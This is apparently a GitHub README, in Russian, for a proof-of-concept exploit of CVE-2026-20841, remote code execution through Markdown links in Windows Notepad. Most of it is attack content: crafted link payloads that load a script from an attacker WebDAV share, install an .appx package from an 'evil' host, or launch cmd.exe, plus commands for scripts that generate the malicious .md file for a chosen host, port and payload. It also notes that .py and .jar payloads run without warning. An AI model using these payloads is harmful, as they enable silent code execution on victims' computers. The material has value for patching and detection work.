atiilla/cve-2026-20841Доказательство концепции эксплуатации CVE-2026-20841 — удалённое выполнение кода в Блокноте Windows через ссылки в Markdown. Генерирует специально созданные .md-файлы для запуска удалённых полезных нагрузок, боковой загрузки приложений или выполнения локальных бинарных файлов.
PoC для эксплуатации удалённого выполнения кода в рендерере Markdown Windows Блокнота. Механизм Markdown не ограничивает протоколы URL, что позволяет запускать произвольные обработчики протоколов через кликабельные ссылки.
file:///)[click](file:///\\attacker@5005\DavWWWRoot\payload.py)
Протокол file:/// разрешает удалённые UNC-пути. Укажите ссылку на полезную нагрузку, и Windows загрузит и выполнит её по клику.
ms-appinstaller://)[click](ms-appinstaller://?source=https://evil/xxx.appx)
Открывает установщик приложений с пакетом .appx/.msix, предоставленным атакующим.
file://)[click](file://C:/windows/system32/cmd.exe)
Запускает любой исполняемый файл, уже находящийся на диске, — cmd.exe, powershell.exe, mshta.exe и т. д.
Оба скрипта создают файл poc.md с поддельной ссылкой в текущем каталоге.
node poc.js <host> <port> <payload/path>
python poc.py <host> <port> <payload/path>
# пример
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md
Тестовые полезные нагрузки находятся в payloads/.
.exe, .lnk, .vbs и подобные вызывают предупреждение безопасности Windows независимо от поведения Блокнота..py и .jar выполняются беззвучно, если на целевой системе установлены Python или Java.Будьте осторожны!